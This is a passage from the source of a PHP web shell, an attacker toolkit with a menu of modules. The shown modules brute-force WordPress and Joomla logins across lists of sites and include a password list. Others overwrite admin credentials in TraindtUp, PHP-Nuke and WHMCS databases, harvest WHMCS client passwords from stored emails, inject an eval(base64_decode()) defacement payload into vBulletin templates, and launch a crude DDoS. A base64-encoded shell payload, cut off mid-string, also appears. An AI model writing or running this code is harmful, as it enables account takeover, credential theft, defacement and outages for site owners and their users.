3562 } ?></textarea></td></tr>
3563<tr><td colspan="4"><input class='inputzbut' type="submit" name="submit" value="Brute Now" />
3564<?php
3565 if ($_POST) {
3566 $hosts = trim(filter($_POST['hosts']));
3567 $passwords = trim(filter($_POST['passwords']));
3568 $usernames = trim(filter($_POST['usernames']));
3569 if ($passwords && $usernames && $hosts) {
3570 $hosts_explode = explode("
3571", $hosts);
3572 $usernames_explode = explode("
3573", $usernames);
3574 $passwords_explode = explode("
3575", $passwords);
3576 foreach ($hosts_explode as $host) {
3577 $host = RemoveLastSlash($host);
3578 $hacked = 0;
3579 $host = str_replace(array("http://", "https://", "www."), "", trim($host));
3580 $host = "http://" . $host;
3581 $wpAdmin = $host . '/wp-admin/';
3582 if (!url_exists($host . "/wp-login.php")) {
3583 echo "<p>" . $host . " => <font color='red'>Error In Login Page !</font></p>";
3584 ob_flush();
3585 flush();
3586 continue;
3587 }
3588 foreach ($usernames_explode as $username) {
3589 foreach ($passwords_explode as $password) {
3590 $ch = curl_init();
3591 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
3592 curl_setopt($ch, CURLOPT_URL, $host . '/wp-login.php');
3593 curl_setopt($ch, CURLOPT_COOKIEJAR, "coki.txt");
3594 curl_setopt($ch, CURLOPT_COOKIEFILE, "coki.txt");
3595 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
3596 curl_setopt($ch, CURLOPT_POST, TRUE);
3597 curl_setopt($ch, CURLOPT_POSTFIELDS, "log=" . $username . "&pwd=" . $password . "&wp-submit=Giri‏" . "&redirect_to=" . $wpAdmin . "&testcookie=1");
3598 $login = curl_exec($ch);
3599 if (eregi("profile.php", $login)) {
3600 $hacked = 1;
3601 echo "<p>" . $host . " => UserName : [<font color='green'>" . $username . "</font>] : Password : [<font color='green'>" . $password . "</font>]</p>";
3602 ob_flush();
3603 flush();
3604 break;
3605 }
3606 }
3607 if ($hacked == 1) {
3608 break;
3609 }
3610 }
3611 if ($hacked == 0) {
3612 echo "<p>" . $host . " => <font color='red'>Failed !</font></p>";
3613 ob_flush();
3614 flush();
3615 }
3616 }
3617 } else {
3618 echo "<p><font color='red'>All fields are Required ! </font></p>";
3619 }
3620 }
3621?>
3622</td></tr>
3623</table></form></center>
3624<?php
3625 function url_exists($strURL) {
3626 $resURL = curl_init();
3627 curl_setopt($resURL, CURLOPT_URL, $strURL);
3628 curl_setopt($resURL, CURLOPT_BINARYTRANSFER, 1);
3629 curl_setopt($resURL, CURLOPT_HEADERFUNCTION, 'curlHeaderCallback');
3630 curl_setopt($resURL, CURLOPT_FAILONERROR, 1);
3631 curl_exec($resURL);
3632 $intReturnCode = curl_getinfo($resURL, CURLINFO_HTTP_CODE);
3633 curl_close($resURL);
3634 if ($intReturnCode != 200) {
3635 return false;
3636 } else {
3637 return true;
3638 }
3639 }
3640 function filter($string) {
3641 if (get_magic_quotes_gpc() != 0) {
3642 return stripslashes($string);
3643 } else {
3644 return $string;
3645 }
3646 }
3647 function RemoveLastSlash($host) {
3648 if (strrpos($host, '/', -1) == strlen($host) - 1) {
3649 return substr($host, 0, strrpos($host, '/', -1));
3650 } else {
3651 return $host;
3652 }
3653 }
3654 echo "</p>";
3655}
3656# x=jm1
3657elseif (isset($_GET['x']) && ($_GET['x'] == 'jm1')) { ?>
3658<form action="?dm=<?php echo $pwd; ?>&x=jm1" method="post">
3659<center><br /><br />
3660<form method="post" action="" enctype="multipart/form-data">
3661<table class="tabnet" width="38%" border="0"><center>
3662<th colspan="2">Joomla Brute Force</th>
3663<tr>
3664<td><p ><font class="d1">User :</font></th>
3665<input class="inputz" type='text' name="usr" value="admin" size="15"> </font></center><br /><br /></p>
3666</td></tr>
3667<tr><td><font class="">Sites list :</font>
3668</td><td><font class="" >Pass list :</font></td></tr>
3669<tr><td>
3670<textarea name="sites" style="background:black;" cols="40" rows="13" ></textarea>
3671</td><td>
3672<textarea name="w0rds" style="background:black;" cols="40" rows="13" >
3673admin
3674123qwe456rty
3675qwerty
3676fuck
3677administrator
3678passjomla
3679adminpass
3680123456
3681password
3682102030
3683123123
368412345
3685123456789
3686pass
3687test
3688admin123
3689demo
3690!@#$%^</textarea>
3691</td></tr><center><tr><td>
3692<font >
3693<input class="inputzbut" type="submit" name="x" value=" >> " id="d4">
3694</font></td></tr><br><br></center></table>
3695</form></center>
3696<?
3697@set_time_limit(0);
3698
3699if($_POST['x']){
3700echo "<hr>";
3701$sites = explode("
3702",$_POST["sites"]);
3703$w0rds = explode("
3704",$_POST["w0rds"]);
3705$Attack = new Joomla_brute_Force();
3706foreach($w0rds as $pwd){
3707foreach($sites as $site){
3708$Attack->check_it(txt_cln($site),$_POST['usr'],txt_cln($pwd));
3709flush();flush();
3710} } }
3711
3712
3713function txt_cln($value) {
3714return str_replace(array("
3715","
3716"),"",$value);
3717}
3718
3719class Joomla_brute_Force{
3720public function check_it($site,$user,$pass){
3721
3722if(eregi('com_config',$this->post($site,$user,$pass))){
3723echo "<span class=\"x2\"><b># Success : $user:$pass -> <a href='$site/administrator/index.php'>$site/administrator/index.php</a></b></span><BR>";
3724$f = fopen("Result.txt","a+");
3725fwrite($f , "Success ~~ $user:$pass -> $site/administrator/index.php
3726");
3727fclose($f);
3728flush();
3729} else {
3730echo "# Failed : $user:$pass -> $site<BR>"; flush();
3731}
3732}
3733
3734public function post($site,$user,$pass){
3735$token = $this->extract_token($site);
3736$curl=curl_init();
3737
3738curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
3739curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php");
3740@curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt');
3741@curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt');
3742curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4');
3743@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
3744curl_setopt($curl,CURLOPT_POST,1);
3745curl_setopt($curl,CURLOPT_POSTFIELDS,'username='.$user.'&passwd='.$pass.'&lang=en-GB&option=com_login&task=login&'.$token.'=1');
3746curl_setopt($curl,CURLOPT_TIMEOUT,20);
3747
3748$exec=curl_exec($curl);
3749curl_close($curl);
3750return $exec;
3751}
3752
3753public function extract_token($site){
3754$source = $this->get_source($site);
3755preg_match_all("/type=\"hidden\" name=\"([0-9a-f]{32})\" value=\"1\"/si" ,$source,$token);
3756return $token[1][0];
3757}
3758
3759public function get_source($site){
3760$curl=curl_init();
3761curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
3762curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php");
3763@curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt');
3764@curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt');
3765curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4');
3766@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
3767curl_setopt($curl,CURLOPT_TIMEOUT,20);
3768
3769$exec=curl_exec($curl);
3770curl_close($curl);
3771return $exec;
3772}
3773}
3774}
3775
3776
3777
3778elseif(isset($_GET['x']) && ($_GET['x'] == 'phpddos')) {
3779?>
3780<form action="?dm=<?php echo $pwd; ?>&x=phpddos" method="post">
3781
3782
3783<?php
3784 echo $head . $formg . $nowaddress . '<br><br><br><title>-=[ Ddos tool ]=-</title><br><br><table class="tabnet" ><b><p align="center">Address : <input class=inputz name=urldd0 size=50> Time : <input class=inputz name=timedd0 size=6 value=40000></b><br><input class="inputzbut"type=submit value=" Get Fire!!! "></form></p></table>' . $end;
3785 exit;
3786 if ($_GET['urldd0'] && $_GET['timedd0']) {
3787 for ($id = 0;$$id < $_GET['timedd0'];$id++) {
3788 $fp = null;
3789 $contents = null;
3790 $fp = fopen($_GET['urldd0'], "rb");
3791 while (!feof($fp)) {
3792 $contents.= fread($fp, 8192);
3793 }
3794 fclose($fp);
3795 }
3796 }
3797}
3798# x=cloud
3799elseif (isset($_GET['x']) && ($_GET['x'] == 'cf')) {
3800 echo '<center><br/><br/>
3801<form method="POST">
3802<select class="inputz" name="krz">
3803<option>FTP</option>
3804<option>DIRECT</option>
3805<option>WEBMAIL</option>
3806<option>CPANEL</option></select>
3807
3808<input class="inputz" type="text" name="target" value="url">
3809<input class="inputzbut" type="submit" value=" >> "></center>';
3810 $target = $_POST['target'];
3811 if ($_POST['krz'] == "ftp") {
3812 $ftp = gethostbyname("ftp." . "$target");
3813 echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
3814Ip Is : </font><font face='Tahoma' size='2' color='#F68B1F'>$ftp</font></p>";
3815 }
3816 if ($_POST['krz'] == "direct-connect") {
3817 $direct = gethostbyname("direct-connect." . "$target");
3818 echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
3819Ip Is : </font><font face='Tahoma' size='2' color='#F68B1F'>$direct</font></p>";
3820 }
3821 if ($_POST['krz'] == "webmail") {
3822 $web = gethostbyname("webmail." . "$target");
3823 echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
3824Ip Is : </font><font face='Tahoma' size='2' color='#F68B1F'>$web</font></p>";
3825 }
3826 if ($_POST['krz'] == "cpanel") {
3827 $cpanel = gethostbyname("cpanel." . "$target");
3828 echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
3829Ip Is : </font><font face='Tahoma' size='2' color='#F68B1F'>$cpanel</font></p>";
3830 }
3831}
3832# x=vb1
3833elseif (isset($_GET['x']) && ($_GET['x'] == 'vb1')) {
3834?>
3835<form action="?dm=<?php echo $pwd; ?>&x=vb1" method="post">
3836
3837
3838<br><br><br><div align="center">
3839<?php
3840 if (empty($_POST['index'])) {
3841 echo "<center><form method=\"POST\">
3842DB Host : <input size=\"15\" value=\"localhost\" style='color:#FF0000;background-color:#000000' name=\"localhost\" type=\"text\"><br>
3843DB Name : <input size=\"15\" style='color:#FF0000;background-color:#000000' value=\"\" name=\"database\" type=\"text\"><br>
3844DB User : <input size=\"15\" style='color:#FF0000;background-color:#000000' value=\"\" name=\"username\" type=\"text\"><br>
3845DB Pass : <input size=\"15\" style='color:#FF0000;background-color:#000000' value=\"\" name=\"password\" type=\"text\"><br>
3846<br>
3847<textarea name=\"index\" cols=\"100\" rows=\"20\">[+] HALAMAN INDEX DEFACE [+]</textarea><br>
3848<input value=\" >> \" style='color:#FF0000;background-color:#000000' name=\"send\" type=\"submit\">
3849</form></center>";
3850 } else {
3851 $localhost = $_POST['localhost'];
3852 $database = $_POST['database'];
3853 $username = $_POST['username'];
3854 $password = $_POST['password'];
3855 $index = $_POST['index'];
3856 @mysql_connect($localhost, $username, $password) or die(mysql_error());
3857 @mysql_select_db($database) or die(mysql_error());
3858 $index = str_replace("\'", "'", $index);
3859 $set_index = "{\${eval(base64_decode(\'";
3860 $set_index.= base64_encode("echo \"$index\";");
3861 $set_index.= "\'))}}{\${exit()}}</textarea>";
3862 echo ("UPDATE template SET template ='" . $set_index . "' ");
3863 $ok = @mysql_query("UPDATE template SET template ='" . $set_index . "'") or die(mysql_error());
3864 if ($ok) {
3865 echo "!! update finish !!<br><br>";
3866 }
3867 }
3868}
3869// x=traindt
3870elseif (isset($_GET['x']) && ($_GET['x'] == 'traindt')) {
3871 // password changer
3872
3873?>
3874<form action="?dm=<?php echo $pwd; ?>&x=traindt" method="post">
3875
3876<?php
3877 echo "<html><head><title>TraindtUpLoginChanger</title></head>";
3878 echo "<body><center>
3879<h2>^_^ DM_ZONE ^_^</h2>
3880<h3>TraindtUp UsEr-PaSs FuCk3r</h3>
3881<form method=POST action=''>
3882DB HOST<br/>
3883<input style='color:lime;background-color:#000000' value=localhost type=text name=anu1 size='40'><br/>
3884DB NAME<br/>
3885<input style='color:lime;background-color:#000000' type=text name=anu2 size='40'><br/>
3886DB USER<br/>
3887<input style='color:lime;background-color:#000000' type=text name=anu3 size='40'><br/>
3888DB PASSWORD<br/>
3889<input style='color:lime;background-color:#000000' type=password name=anu4 size='40'><br/>
3890<hr style='color:lime;'> <p>TARGET ID ADMIN MAHO<br/>
3891<input value='1' style='color:lime;background-color:#000000' type=text name=idmaho size='20'><br/>
3892NEW ADMIN LOGIN USER<br/>
3893<input value=admin-ganteng style='color:lime;background-color:#000000' type=text name=userbaru size='20'><br/>
3894NEW ADMIN LOGIN PASS<br/>
3895<input value=dm style='color:lime;background-color:#000000' type=password name=passbaru size='20'><br/><p>
3896
3897<input style='color:lime;background-color:#000000' type=submit value='[~] GANTENGIN COK [~] ' ></form>";
3898 $anu1 = $_POST['anu1'];
3899 $anu2 = $_POST['anu2'];
3900 $anu3 = $_POST['anu3'];
3901 $anu4 = $_POST['anu4'];
3902 @mysql_connect($anu1, $anu3, $anu4);
3903 @mysql_select_db($anu2);
3904 $idmaho = str_replace("\'", "'", $idmaho);
3905 $target_id = $_POST['idmaho'];
3906 $userbaru = str_replace("\'", "'", $userbaru);
3907 $ganti_user = $_POST['userbaru'];
3908 $passbaru = str_replace("\'", "'", $passbaru);
3909 $hash_pass = $_POST['passbaru'];
3910 $ganti_pass = md5($hash_pass);
3911 $sodok1 = "UPDATE admin SET admin_user ='" . $ganti_user . "' WHERE admin_id ='" . $target_id . "'";
3912 $sodok2 = "UPDATE admin SET admin_password ='" . $ganti_pass . "' WHERE admin_id ='" . $target_id . "'";
3913 $oke = @mysql_query($sodok1);
3914 $oke = @mysql_query($sodok2);
3915 if ($oke) {
3916 echo "<center><font color='lime'>SUKSES BOS GANTENG :P</font>";
3917 }
3918}
3919// x=nuke
3920elseif (isset($_GET['x']) && ($_GET['x'] == 'nuke')) {
3921 // password changer
3922
3923?>
3924<form action="?dm=<?php echo $pwd; ?>&x=nuke" method="post">
3925
3926<?php
3927 echo "<html><head><title>PHPNukeLoginChanger</title></head>";
3928 echo "<body><center>
3929<h2>^_^ DM_ZONE ^_^</h2>
3930<h3>PHPNuke UsEr-PaSs FuCk3r</h3>
3931<form method=POST action=''>
3932DB HOST<br/>
3933<input style='color:lime;background-color:#000000' value=localhost type=text name=anu1 size='40'><br/>
3934DB NAME<br/>
3935<input style='color:lime;background-color:#000000' type=text name=anu2 size='40'><br/>
3936DB USER<br/>
3937<input style='color:lime;background-color:#000000' type=text name=anu3 size='40'><br/>
3938DB PASSWORD<br/>
3939<input style='color:lime;background-color:#000000' type=password name=anu4 size='40'><br/>
3940<hr style='color:lime;'>
3941
3942TARGET PREFIX<br/>
3943<input style='color:lime;background-color:#000000' type=txt name=prefix size='20'><br/>
3944NEW ADMIN LOGIN USER<br/>
3945<input value=admin style='color:lime;background-color:#000000' type=text name=userbaru size='20'><br/>
3946NEW ADMIN LOGIN PASS<br/>
3947<input value=dm style='color:lime;background-color:#000000' type=password name=passbaru size='20'><br/><p>
3948
3949<input style='color:lime;background-color:#000000' type=submit value='[~] GANTENGIN COK [~] ' ></form>";
3950 $anu1 = $_POST['anu1'];
3951 $anu2 = $_POST['anu2'];
3952 $anu3 = $_POST['anu3'];
3953 $anu4 = $_POST['anu4'];
3954 @mysql_connect($anu1, $anu3, $anu4);
3955 @mysql_select_db($anu2);
3956 $userbaru = str_replace("\'", "'", $userbaru);
3957 $ganti_user = $_POST['userbaru'];
3958 $passbaru = str_replace("\'", "'", $passbaru);
3959 $hash_pass = $_POST['passbaru'];
3960 $ganti_pass = md5($hash_pass);
3961 $prefix = $_POST['prefix'];
3962 $table_name1 = $prefix . "users";
3963 $table_name2 = $prefix . "authors";
3964 $okenuke1 = "UPDATE $table_name1 SET username ='" . $ganti_user . "' WHERE user_id ='2'";
3965 $okenuke2 = "UPDATE $table_name1 SET user_password ='" . $ganti_pass . "' WHERE user_id ='2'";
3966 $okenuke3 = "UPDATE $table_name2 SET aid ='" . $ganti_user . "' WHERE radminsuper ='1'";
3967 $okenuke4 = "UPDATE $table_name2 SET pwd ='" . $ganti_pass . "' WHERE radminsuper ='1'";
3968 $oke = @mysql_query($okenuke1);
3969 $oke = @mysql_query($okenuke2);
3970 $oke = @mysql_query($okenuke3);
3971 $oke = @mysql_query($okenuke4);
3972 if ($oke) {
3973 echo "<center><font color='lime'>SUKSES BOS GANTENG :P</font>";
3974 }
3975}
3976# x=dmwhmcs9
3977elseif (isset($_GET['x']) && ($_GET['x'] == 'dmwhmcs9')) {
3978?>
3979<form action="?dm=<?php echo $pwd; ?>&x=dmwhmcs9" method="post">
3980
3981 <p><br/><body>
3982<center><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"> <br/><br/><nobr><b><span class="b7">O=:[ CHECK WHMCS</span> <span class="b8">LICENSE & VERSION ]:=O</span></b></nobr><br/><br/>
3983<p><form method="post">
3984<table border=1>
3985<tr><td>Hosting Site </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" value="http://" name="url"></td></tr>
3986<tr><td align="center" colspan="2"><input class=submit type="submit" style="color:#FF0000;background-color:#000000" value=" HAJAR BOS " name="plapon"></td></tr></table>
3987<br></form></center>
3988
3989<?php
3990 @error_reporting(0);
3991 @ini_set('log_errors', 0);
3992 @ini_set('error_log', NULL);
3993 if (isset($_POST['plapon'])) {
3994 $target = $_POST['url'];
3995 $bukadikitjoss = fopen("$target/?licensedebug", "r");
3996 $hasil = '';
3997 while (!feof($bukadikitjoss)) {
3998 $hasil.= fread($bukadikitjoss, 8192);
3999 }
4000 echo "<center><textarea style='color:#FF0000;background-color:#000000' cols='40' rows='15'>$hasil</textarea>";
4001 }
4002 echo "</table>";
4003}
4004# x=dmwhmcs1
4005elseif (isset($_GET['x']) && ($_GET['x'] == 'dmwhmcs1')) {
4006?>
4007<form action="?dm=<?php echo $pwd; ?>&x=dmwhmcs1" method="post">
4008
4009<p><br/><body>
4010<center><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"> <br/><br/><nobr><b><span class="b7">O=:[ GRAB PASSWORD CLIENT HOSTING ]:=O</span></b></nobr><br/><br/>
4011<p><form method="post">
4012<table border=1>
4013<tr><td>db_host </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu1" value="localhost"></td></tr>
4014<tr><td>db_username </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu2"></td></tr>
4015<tr><td>db_password</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu3"></td></tr>
4016<tr><td>db_name</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu4"></td></tr>
4017<tr><td align="center" colspan="2"><input class=submit type="submit" style="color:#FF0000;background-color:#000000" value=" HAJAR BOS " name="plapon"></td></tr>
4018
4019</table>
4020<br></form></center>
4021
4022<?php
4023 if (isset($_POST['plapon'])) {
4024 $perawan = $_POST['anu1'];
4025 $kimcil = $_POST['anu2'];
4026 $janda = $_POST['anu3'];
4027 $hotel = $_POST['anu4'];
4028 function get_string_between($string, $start, $end) {
4029 $string = " " . $string;
4030 $ini = strpos($string, $start);
4031 if ($ini == 0) return "";
4032 $ini+= strlen($start);
4033 $len = strpos($string, $end, $ini) - $ini;
4034 return substr($string, $ini, $len);
4035 }
4036 @mysql_connect($perawan, $kimcil, $janda);
4037 @mysql_select_db($hotel) or die("Gagal Koneksi Ke Database");
4038 $query = "select subject,message from tblemails";
4039 $result = mysql_query($query);
4040 mysql_close();
4041 $num = mysql_numrows($result);
4042 $i = 0;
4043 while ($i < $num) {
4044 $css = mysql_result($result, $i, "subject");
4045 echo "<br/><br/><center><table class='explore' style=width:830px;padding:0 1px;>
4046<tr><th colspan='7'> <span class='b7'>O=:[ HOST ROOT ]:=O</span> </th></tr><tr>
4047<th align='center'><b>CLIENT EMAIL</b></th>
4048<th align='center'><b>CLIENT PASSWORD</b></th>
4049</tr>";
4050 if (stristr($css, "Welcome")) {
4051 $s = mysql_result($result, $i, "message");
4052 if (stristr($s, "Login Username: ") or stristr($s, "Email Address: ")) {
4053 $mail = get_string_between($s, "Login Username: ", "<br />");
4054 $m2 = get_string_between($s, "Email Address: ", "<br />");
4055 $pass = get_string_between($s, "Password: ", "</p>");
4056 print $mail . $m2 . ":" . $pass . "<br>";
4057 echo "<tr>
4058<td align='center'>$mail.$m2.</td>
4059<td align='center'>" . $pass . "</td>
4060</tr>";
4061 }
4062 }
4063 ++$i;
4064 }
4065 }
4066 echo "</table>";
4067}
4068# x=dmwhmcs3
4069elseif (isset($_GET['x']) && ($_GET['x'] == 'dmwhmcs3')) {
4070?>
4071<form action="?dm=<?php echo $pwd; ?>&x=dmwhmcs3" method="post">
4072 <p><br/><body>
4073<center><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"> <br/><br/><nobr><b><span class="b7">O=:[ PASSWORD CHANGER ]:=O</span></b></nobr><br/><br/>
4074<p><form method="post">
4075<table border=1>
4076<tr><td>db_host </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" name="anu1" value="localhost"></td></tr>
4077<tr><td>db_username </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" name="anu2"></td></tr>
4078<tr><td>db_password</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" name="anu3"></td></tr>
4079<tr><td>db_name</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" name="anu4"></td></tr>
4080<tr><td>id_admin</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" value="1" name="idmaho"></td></tr>
4081<tr><td>new_username</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" value="hacker" name="userbaru"></td></tr>
4082<tr><td>new_password</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" value="hackerpassword" name="passbaru"></td></tr>
4083
4084<tr><td align="center" colspan="2"><input class=submit type="submit" style="color:#FF0000;background-color:#000000" value=" HAJAR BOS " name="plapon"></td></tr>
4085</table>
4086<br>
4087</form>
4088</center>
4089
4090<?php
4091 if (isset($_POST['plapon'])) {
4092 $anu1 = $_POST['anu1'];
4093 $anu2 = $_POST['anu2'];
4094 $anu3 = $_POST['anu3'];
4095 $anu4 = $_POST['anu4'];
4096 @mysql_connect($anu1, $anu2, $anu3);
4097 @mysql_select_db($anu4);
4098 $idmaho = str_replace("\'", "'", $idmaho);
4099 $target_id = $_POST['idmaho'];
4100 $userbaru = str_replace("\'", "'", $userbaru);
4101 $ganti_user = $_POST['userbaru'];
4102 $passbaru = str_replace("\'", "'", $passbaru);
4103 $hash_pass = $_POST['passbaru'];
4104 $ganti_pass = md5($hash_pass);
4105 $colox = "UPDATE tbladmins SET username ='" . $ganti_user . "' WHERE id ='" . $target_id . "'";
4106 $coloxx = "UPDATE tbladmins SET password ='" . $ganti_pass . "' WHERE id ='" . $target_id . "'";
4107 $udah_ganteng = @mysql_query($colox);
4108 $udah_ganteng = @mysql_query($coloxx);
4109 if ($udah_ganteng) {
4110 echo "<font color='lime'>SUKSES BOS GANTENG :P</font>";
4111 }
4112 }
4113}
4114# x=dmwhmcs2
4115elseif (isset($_GET['x']) && ($_GET['x'] == 'dmwhmcs2')) {
4116?>
4117<form action="?dm=<?php echo $pwd; ?>&x=dmwhmcs2" method="post">
4118 <p><br/><body>
4119<center><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"> <br/><br/><nobr><b><span class="b7">O=:[ INJECT SHELL ]:=O</span></b></nobr><br/><br/>
4120<p><form method="post">
4121<table border=1>
4122<tr><td>db_host </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" name="anu1" value="localhost"></td></tr>
4123<tr><td>db_username </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" name="anu2"></td></tr>
4124<tr><td>db_password</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" name="anu3"></td></tr>
4125<tr><td>db_name</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" name="anu4"></td></tr>
4126<tr><td align="center" colspan="2"> <textarea style='color:red;background-color:#000000' rows='10' cols='67'
4127name=shell>{php}eval(base64_decode('JGMwZGUgID0gYmFzZTY0X2RlY29kZSgnUjBsR09EbGhVRHM4Y0NCaGJHbG5iajBpWTJWdWRHVnlJajROQ2cwS1BEOXdhSEFOQ21WeWNtOXlYM0psY0c5eWRHbHVaeWd3S1RzTkNpUnpZM0pwY0hSdVlXMWxJRDBnSkY5VFJWSldSVkpiSjFORFVrbFFWRjlPUVUxRkoxMDdEUW9rWm1sc1pXNWhiV1VnUFNBa1gxQlBVMVJiSW1acGJHVnVZVzFsSWwwN0RRcHBaaWdrWDFCUFUxUmJJbk4xWW0xcGRDSmRJRDA5SUNKUGNHVnVJaWtOQ25zTkNtbG1LR1pwYkdWZlpYaHBjM1J6S0NSbWFXeGxibUZ0WlNrcERRcDdEUW9rWm1sc1pXTnZiblJsYm5SeklEMGdhSFJ0YkdWdWRHbDBhV1Z6S0dacGJHVmZaMlYwWDJOdmJuUmxiblJ6S0NSbWFXeGxibUZ0WlNrcE93MEthV1lvSVNSbWFXeGxZMjl1ZEdWdWRITXBEUW9rYzNSaGRIVnpJRDBnSWp4bWIyNTBJR1poWTJVOUoxWmxjbVJoYm1FbklITjBlV3hsUFNkbWIyNTBMWE5wZW1VNklEaHdkQ2MrUlhKeWIzSWdUbTkwYUdsdVp5QkdhV3hsUEM5bWIyNTBQaUk3RFFwOURRcGxiSE5sRFFva2MzUmhkSFZ6SUQwZ0lqeG1iMjUwSUdaaFkyVTlKMVpsY21SaGJtRW5JSE4wZVd4bFBTZG1iMjUwTFhOcGVtVTZJRGh3ZENjK1JtbHNaU0JrYjJWeklHNXZkQ0JsZUdsemRDRThMMlp2Ym5RK0lqc05DbjBKQ1EwS1pXeHpaU0JwWmlna1gxQlBVMVJiSW5OMVltMXBkQ0pkSUQwOUlDSkVaV3hsZEdVaUtRMEtldzBLYVdZb1ptbHNaVjlsZUdsemRITW9KR1pwYkdWdVlXMWxLU2tOQ25zTkNtbG1LSFZ1YkdsdWF5Z2tabWxzWlc1aGJXVXBLUWtOQ2lSemRHRjBkWE1nUFNBaVBHWnZiblFnWm1GalpUMG5WbVZ5WkdGdVlTY2djM1I1YkdVOUoyWnZiblF0YzJsNlpUb2dPSEIwSno1R2FXeGxJSE4xWTJObGMzTm1kV3hzZVNCa1pXeGxkR1ZrSVR3dlptOXVkRDRpT3cwS1pXeHpaUTBLSkhOMFlYUjFjeUE5SUNJOFptOXVkQ0JtWVdObFBTZFdaWEprWVc1aEp5QnpkSGxzWlQwblptOXVkQzF6YVhwbE9pQTRjSFFuUGtOdmRXeGtJRzV2ZENCa1pXeGxkR1VnWm1sc1pTRThMMlp2Ym5RK0lqc05DbjBOQ21Wc2MyVU5DaVJ6ZEdGMGRYTWdQU0FpUEdadmJuUWdabUZqWlQwblZtVnlaR0Z1WVNjZ2MzUjViR1U5SjJadmJuUXRjMmw2WlRvZ09IQjBKejVHYVd4bElHUnZaWE1nYm05MElHVjRhWE4wSVR3dlptOXVkRDRpT3cwS2ZRMEtaV3h6WlNCcFppZ2tYMUJQVTFSYkluTjFZbTFwZENKZElEMDlJQ0pUWVhabElpa05DbnNOQ2lSbWFXeGxZMjl1ZEdWdWRITWdQU0J6ZEhKcGNITnNZWE5vWlhNb2FIUnRiRjlsYm5ScGRIbGZaR1ZqYjJSbEtDUmZVRTlUVkZzaVkyOXVkR1Z1ZEhNaVhTa3BPdzBLYVdZb1ptbHNaVjlsZUdsemRITW9KR1pwYkdWdVlXMWxLU2tOQ25WdWJHbHVheWdrWm1sc1pXNWhiV1VwT3cwS0pHaGhibVJzWlNBOUlHWnZjR1Z1S0NSbWFXeGxibUZ0WlN3Z0luY2lLVHNOQ21sbUtDRWthR0Z1Wkd4bEtRMEtKSE4wWVhSMWN5QTlJQ0k4Wm05dWRDQm1ZV05sUFNkV1pYSmtZVzVoSnlCemRIbHNaVDBuWm05dWRDMXphWHBsT2lBNGNIUW5Qa052ZFd4a0lHNXZkQ0J2Y0dWdUlHWnBiR1VnWm05eUlIZHlhWFJsSUdGalkyVnpjeUVnUEM5bWIyNTBQaUk3RFFwbGJITmxEUXA3RFFwcFppZ2habmR5YVhSbEtDUm9ZVzVrYkdVc0lDUm1hV3hsWTI5dWRHVnVkSE1wS1EwS0pITjBZWFIxY3lBOUlDUnpkR0YwZFhNdUlqeG1iMjUwSUdaaFkyVTlKMVpsY21SaGJtRW5JSE4wZVd4bFBTZG1iMjUwTFhOcGVtVTZJRGh3ZENjK1EyOTFiR1FnYm05MElIZHlhWFJsSUhSdklHWnBiR1VoSUNoTllYbGlaU0I1YjNVZ1pHbGtiaWQwSUdWdWRHVnlJR0Z1ZVNCMFpYaDBQeWs4TDJadmJuUStJanNOQ21aamJHOXpaU2drYUdGdVpHeGxLVHNOQ24wTkNpUm1hV3hsWTI5dWRHVnVkSE1nUFNCb2RHMXNaVzUwYVhScFpYTW9KR1pwYkdWamIyNTBaVzUwY3lrN0RRcDlEUXBsYkhObERRcDdEUW9rYzNSaGRIVnpJRDBnSWp4bWIyNTBJR1poWTJVOUoxWmxjbVJoYm1FbklITjBlV3hsUFNkbWIyNTBMWE5wZW1VNklEaHdkQ2MrVG04Z1ptbHNaU0JzYjJGa1pXUWhQQzltYjI1MFBpSTdEUXA5RFFvL1BnMEtQSFJoWW14bElHSnZjbVJsY2owaU1DSWdZV3hwWjI0OUltTmxiblJsY2lJK1BIUnlQangwWkQ0OGRHRmliR1VnZDJsa2RHZzlJakV3TUNVaUlHSnZjbVJsY2owaU1DSStQSFJ5UGp4MFpENE5DanhtYjNKdElHMWxkR2h2WkQwaWNHOXpkQ0lnWVdOMGFXOXVQU0k4UDBWamFHOGdKSE5qY21sd2R